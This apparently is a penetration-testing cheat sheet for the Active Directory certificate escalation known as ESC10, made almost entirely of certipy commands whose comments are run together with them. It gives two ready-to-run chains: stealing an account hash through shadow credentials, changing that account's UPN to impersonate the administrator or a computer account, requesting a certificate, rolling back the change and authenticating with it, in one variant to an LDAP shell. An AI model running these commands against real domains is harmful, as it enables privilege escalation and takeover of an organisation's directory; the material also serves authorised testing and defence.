Active Directory - Certificate ESC10

# get user hash with shadowcredentialscertipy shadow auto -username "user@domain.local" -p "password" -account admin -dc-ip 10.10.10.10# change user UPNcertipy account update -username "user@domain.local" -p "password" -user admin -upn administrator -dc-ip 10.10.10.10# ask for certificatecertipy req -username "admin@domain.local" -hashes "hashes" -target "10.10.10.10" -ca 'DOMAIN-CA' -template 'user' -debug# Rollback upn modificationcertipy account update -username "user@domain.local" -p "password" -user admin -upn admin -dc-ip 10.10.10.10# Connect with the certificatecertipy auth -pfx 'administrator.pfx' -domain "domain.local" -dc-ip 10.10.10.10

certipy shadow auto -username "user@domain.local" -p "password" -account admin -dc-ip 10.10.10.10# change user UPN to computer$certipy account update -username "user@domain.local" -p "password" -user admin -upn 'computer$@domain.local' -dc-ip 10.10.10.10# ask for certificatecertipy req -username "admin@domain.local" -hashes "3b60abbc25770511334b3829866b08f1" -target "10.10.10.10" -ca 'DOMAIN-CA' -template 'user' -debug# Rollback upn modificationcertipy account update -username "user@domain.local" -p "password" -user admin -upn admin -dc-ip 10.10.10.10# Connect via schannel with the certificate certipy auth -pfx 'computer.pfx' -domain "domain.local" -dc-ip 10.10.10.10 -ldap-shell